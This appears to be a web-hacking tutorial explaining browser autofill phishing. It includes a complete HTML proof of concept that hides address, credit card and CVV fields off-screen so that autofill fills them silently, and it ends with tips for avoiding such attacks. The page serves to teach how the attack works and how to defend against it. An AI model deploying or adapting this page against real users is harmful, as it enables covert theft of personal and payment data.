pwn.guide
Web Hacking

Autofill Phishing Explained

How to does autofill data phishing work with a PoC.

Browser autofill phishing is a type of cyber attack where malicious actors exploit the autofill feature in web browsers to steal sensitive info such as usernames, passwords, credit card details, and other personal data. This tutorial will explain how browser autofill phishing works and provide a proof-of-concept (PoC) example to demonstrate its potential risks.

How Browser Autofill Phishing Works

The autofill feature in modern web browsers is designed to make form-filling easier for users by automatically populating form fields with previously saved information. While this feature enhances user convenience, it can also be exploited by attackers. The basic steps involved in a browser autofill phishing attack are:

  1. Attacker creates a Phishing Web Page: The attacker creates a web page with hidden form fields that are not visible to the user.
  2. ** He Embeds Hidden Fields**: These hidden form fields correspond to common autofill data fields such as name, email, phone number, address, and payment information.
  3. Triggering Autofill: When a user visits the malicious web page and interacts with any visible form field, the browser's autofill feature fills in the hidden fields with the user's saved information.
  4. Stealing Data: The hidden fields are then submitted to the attacker's server, capturing the user's sensitive data without their knowledge.

Proof-of-Concept (PoC)

The PoC bellow was created by Viljami Kuosmanen, and is available in his GitHub repo.

<!doctype html>
<html>
  <head>
    <title>Browser Autofill Phishing</title>
  </head>
  <body>
    <form action="https://httpbin.org/post" method="post">
      <p>
        <label for="name">Name</label><br>
        <input id="name" name="name" type="text" placeholder="Your Name">
      </p>
      <p>
        <label for="email">Email</label><br>
        <input id="email" name="email" type="email" placeholder="Your Email">
      </p>
      <p>
        <input type="submit" value="Submit">
      </p>
      <p style="margin-left:-500px">
        <input id="phone" name="phone" type="text" placeholder="Your Phone">
      </p>
      <p style="margin-left:-500px">
        <input id="organization" name="organization" type="text" placeholder="Your Organization">
      </p>
      <p style="margin-left:-500px">
        <input id="address" name="address" type="text" placeholder="Your Address">
      </p>
      <p style="margin-left:-500px">
        <input id="postal" name="postal" type="text" placeholder="Your Postal Code">
      </p>
      <p style="margin-left:-500px">
        <input id="city" name="city" type="text" placeholder="Your City">
      </p>
      <p style="margin-left:-500px">
        <select name="country">
            <option value=""></option><option value="FI">Finland</option>
            <option value="AF">Afghanistan</option><option value="AX">Åland Islands</option>
            <option value="AL">Albania</option><option value="DZ">Algeria</option>
            <option value="AS">American Samoa</option><option value="AD">Andorra</option>
            <option value="AO">Angola</option><option value="AI">Anguilla</option>
            <option value="AQ">Antarctica</option><option value="AG">Antigua &amp; Barbuda</option>
            <option value="AR">Argentina</option><option value="AM">Armenia</option>
            <option value="AW">Aruba</option><option value="AC">Ascension Island</option>
            <option value="AU">Australia</option><option value="AT">Austria</option>
            <option value="AZ">Azerbaijan</option><option value="BS">Bahamas</option><option value="BH">Bahrain</option>
            <option value="BD">Bangladesh</option><option value="BB">Barbados</option><option value="BY">Belarus</option>
            <option value="BE">Belgium</option><option value="BZ">Belize</option><option value="BJ">Benin</option>
            <option value="BM">Bermuda</option><option value="BT">Bhutan</option><option value="BO">Bolivia</option>
            <option value="BA">Bosnia &amp; Herzegovina</option><option value="BW">Botswana</option>
            <option value="BV">Bouvet Island</option><option value="BR">Brazil</option>
            <option value="IO">British Indian Ocean Territory</option><option value="VG">British Virgin Islands</option>
            <option value="BN">Brunei</option><option value="BG">Bulgaria</option>
            <option value="BF">Burkina Faso</option><option value="BI">Burundi</option>
            <option value="KH">Cambodia</option><option value="CM">Cameroon</option>
            <option value="CA">Canada</option><option value="CV">Cape Verde</option>
            <option value="BQ">Caribbean Netherlands</option><option value="KY">Cayman Islands</option>
            <option value="CF">Central African Republic</option><option value="TD">Chad</option><option value="CL">Chile</option>
            <option value="CN">China</option><option value="CX">Christmas Island</option>
            <option value="CC">Cocos [Keeling] Islands</option><option value="CO">Colombia</option>
            <option value="KM">Comoros</option><option value="CD">Congo [DRC]</option>
            <option value="CG">Congo [Republic]</option><option value="CK">Cook Islands</option>
            <option value="CR">Costa Rica</option><option value="CI">Côte d’Ivoire</option>
            <option value="HR">Croatia</option><option value="CW">Curaçao</option>
            <option value="CY">Cyprus</option><option value="CZ">Czech Republic</option><option value="DK">Denmark</option>
            <option value="DJ">Djibouti</option><option value="DM">Dominica</option>
            <option value="DO">Dominican Republic</option><option value="EC">Ecuador</option>
            <option value="EG">Egypt</option><option value="SV">El Salvador</option>
            <option value="GQ">Equatorial Guinea</option><option value="ER">Eritrea</option><option value="EE">Estonia</option>
            <option value="ET">Ethiopia</option><option value="FK">Falkland Islands [Islas Malvinas]</option>
            <option value="FO">Faroe Islands</option><option value="FJ">Fiji</option>
            <option value="FI">Finland</option><option value="FR">France</option>
            <option value="GF">French Guiana</option><option value="PF">French Polynesia</option>
            <option value="TF">French Southern Territories</option><option value="GA">Gabon</option>
            <option value="GM">Gambia</option><option value="GE">Georgia</option>
            <option value="DE">Germany</option><option value="GH">Ghana</option>
            <option value="GI">Gibraltar</option><option value="GR">Greece</option>
            <option value="GL">Greenland</option><option value="GD">Grenada</option>
            <option value="GP">Guadeloupe</option><option value="GU">Guam</option>
            <option value="GT">Guatemala</option><option value="GG">Guernsey</option>
            <option value="GN">Guinea</option><option value="GW">Guinea-Bissau</option>
            <option value="GY">Guyana</option><option value="HT">Haiti</option>
            <option value="HM">Heard &amp; McDonald Islands</option><option value="HN">Honduras</option>
            <option value="HK">Hong Kong</option><option value="HU">Hungary</option>
            <option value="IS">Iceland</option><option value="IN">India</option>
            <option value="ID">Indonesia</option>
            <option value="IR">Iran</option><option value="IQ">Iraq</option>
            <option value="IE">Ireland</option><option value="IM">Isle of Man</option>
            <option value="IL">Israel</option><option value="IT">Italy</option>
            <option value="JM">Jamaica</option><option value="JP">Japan</option>
            <option value="JE">Jersey</option><option value="JO">Jordan</option>
            <option value="KZ">Kazakhstan</option><option value="KE">Kenya</option>
            <option value="KI">Kiribati</option><option value="XK">Kosovo</option>
            <option value="KW">Kuwait</option><option value="KG">Kyrgyzstan</option>
            <option value="LA">Laos</option><option value="LV">Latvia</option>
            <option value="LB">Lebanon</option><option value="LS">Lesotho</option>
            <option value="LR">Liberia</option><option value="LY">Libya</option>
            <option value="LI">Liechtenstein</option><option value="LT">Lithuania</option>
            <option value="LU">Luxembourg</option><option value="MO">Macau</option>
            <option value="MK">Macedonia [FYROM]</option>
            <option value="MG">Madagascar</option><option value="MW">Malawi</option>
            <option value="MY">Malaysia</option><option value="MV">Maldives</option>
            <option value="ML">Mali</option><option value="MT">Malta</option>
            <option value="MH">Marshall Islands</option><option value="MQ">Martinique</option>
            <option value="MR">Mauritania</option><option value="MU">Mauritius</option>
            <option value="YT">Mayotte</option><option value="MX">Mexico</option>
            <option value="FM">Micronesia</option><option value="MD">Moldova</option>
            <option value="MC">Monaco</option><option value="MN">Mongolia</option>
            <option value="ME">Montenegro</option><option value="MS">Montserrat</option>
            <option value="MA">Morocco</option><option value="MZ">Mozambique</option>
            <option value="MM">Myanmar [Burma]</option><option value="NA">Namibia</option>
            <option value="NR">Nauru</option><option value="NP">Nepal</option>
            <option value="NL">Netherlands</option><option value="NC">New Caledonia</option>
            <option value="NZ">New Zealand</option>
            <option value="NI">Nicaragua</option><option value="NE">Niger</option>
            <option value="NG">Nigeria</option><option value="NU">Niue</option><option value="NF">Norfolk Island</option>
            <option value="MP">Northern Mariana Islands</option><option value="NO">Norway</option>
            <option value="OM">Oman</option><option value="PK">Pakistan</option>
            <option value="PW">Palau</option><option value="PS">Palestine</option>
            <option value="PA">Panama</option><option value="PG">Papua New Guinea</option>
            <option value="PY">Paraguay</option><option value="PE">Peru</option>
            <option value="PH">Philippines</option><option value="PN">Pitcairn Islands</option>
            <option value="PL">Poland</option><option value="PT">Portugal</option>
            <option value="PR">Puerto Rico</option><option value="QA">Qatar</option>
            <option value="RE">Réunion</option><option value="RO">Romania</option>
            <option value="RU">Russia</option><option value="RW">Rwanda</option>
            <option value="WS">Samoa</option><option value="SM">San Marino</option>
            <option value="ST">São Tomé &amp; Príncipe</option><option value="SA">Saudi Arabia</option>
            <option value="SN">Senegal</option><option value="RS">Serbia</option>
            <option value="SC">Seychelles</option><option value="SL">Sierra Leone</option>
            <option value="SG">Singapore</option><option value="SX">Sint Maarten</option>
            <option value="SK">Slovakia</option><option value="SI">Slovenia</option>
            <option value="SB">Solomon Islands</option><option value="SO">Somalia</option><option value="ZA">South Africa</option>
            <option value="GS">South Georgia &amp; South Sandwich Islands</option><option value="KR">South Korea</option>
            <option value="SS">South Sudan</option><option value="ES">Spain</option>
            <option value="LK">Sri Lanka</option><option value="BL">St. Barthélemy</option>
            <option value="SH">St. Helena</option><option value="KN">St. Kitts &amp; Nevis</option>
            <option value="LC">St. Lucia</option>
            <option value="MF">St. Martin</option><option value="PM">St. Pierre &amp; Miquelon</option>
            <option value="VC">St. Vincent &amp; Grenadines</option><option value="SR">Suriname</option>
            <option value="SJ">Svalbard &amp; Jan Mayen</option><option value="SZ">Swaziland</option>
            <option value="SE">Sweden</option><option value="CH">Switzerland</option>
            <option value="TW">Taiwan</option><option value="TJ">Tajikistan</option>
            <option value="TZ">Tanzania</option><option value="TH">Thailand</option>
            <option value="TL">Timor-Leste</option><option value="TG">Togo</option>
            <option value="TK">Tokelau</option><option value="TO">Tonga</option>
            <option value="TT">Trinidad &amp; Tobago</option><option value="TA">Tristan da Cunha</option>
            <option value="TN">Tunisia</option><option value="TR">Turkey</option><option value="TM">Turkmenistan</option>
            <option value="TC">Turks &amp; Caicos Islands</option><option value="TV">Tuvalu</option>
            <option value="UM">U.S. Outlying Islands</option><option value="VI">U.S. Virgin Islands</option>
            <option value="UG">Uganda</option><option value="UA">Ukraine</option>
            <option value="AE">United Arab Emirates</option><option value="GB">United Kingdom</option>
            <option value="US">United States</option>
            <option value="UY">Uruguay</option><option value="UZ">Uzbekistan</option>
            <option value="VU">Vanuatu</option><option value="VA">Vatican City</option>
            <option value="VE">Venezuela</option><option value="VN">Vietnam</option>
            <option value="WF">Wallis &amp; Futuna</option><option value="EH">Western Sahara</option>
            <option value="YE">Yemen</option><option value="ZM">Zambia</option>
            <option value="ZW">Zimbabwe</option>
        </select>
      </p>
      <p style="margin-left:-500px">
        <input type="text" name="cc_number">
      </p>
      <p style="margin-left:-500px">
        <select name="cc_month" id="cc_month">
            <option value="01">01</option><option value="02">02</option><option value="03">03</option>
            <option value="04">04</option><option value="05">05</option><option value="06">06</option>
            <option value="07">07</option><option value="08">08</option><option value="09">09</option>
            <option value="10">10</option><option value="11">11</option><option value="12">12</option>
        </select>
 
        <select name="cc_year" id="cc_year">
            <option>2024</option><option>2025</option><option>2026</option><option>2027</option><option>2028</option>
            <option>2029</option><option>2030</option><option>2031</option><option>2032</option>
        </select>
      </p>
      <p style="margin-left:-500px">
        <input type="text" id="cc_cvv" name="cc_cvv">
      </p>
    </form>
    <script type="text/javascript">
      function onchangehandler(event) {
        // Print out its value. Could be a web request without users' knowledge.
        console.log(event.target.name + ": " + event.target.value);
      }
 
      // Apply 'input' event to every input element
      document.querySelectorAll('input').forEach(function(input) { input.addEventListener('input', onchangehandler); } );
    </script>
  </body>
</html>

Test the PoC

The website hosting the PoC above can be found on https://anttiviljami.github.io/browser-autofill-phishing/. When you are on the website, use autofill to complete the form & click submit. This will then take you to a website, containing all of the data the autofill has submitted.

Step 4: Analysis and Prevention

The PoC demonstrates how easily sensitive information can be stolen using browser autofill phishing. To protect yourself from such attacks, consider the following measures:

  • Disable Autofill: Turn off the autofill feature in your browser settings.
  • Verify Websites: Only enter sensitive information on trusted websites. Check for HTTPS and ensure the site's legitimacy.
  • Regular Monitoring: Regularly monitor your accounts for any suspicious activity on stuff like Have I Been Pwned.

Recommended Tutorials

Continue your learning journey with these related guides

Create a BITB Attack

How to create a BITB attack, to teach your employees about phishing.

Clickjacking Attack Tutorial

Learn what clickjacking attack with examples.

Weak Session IDs

Learn about weak session IDs and how to exploit them.

pwn.guide+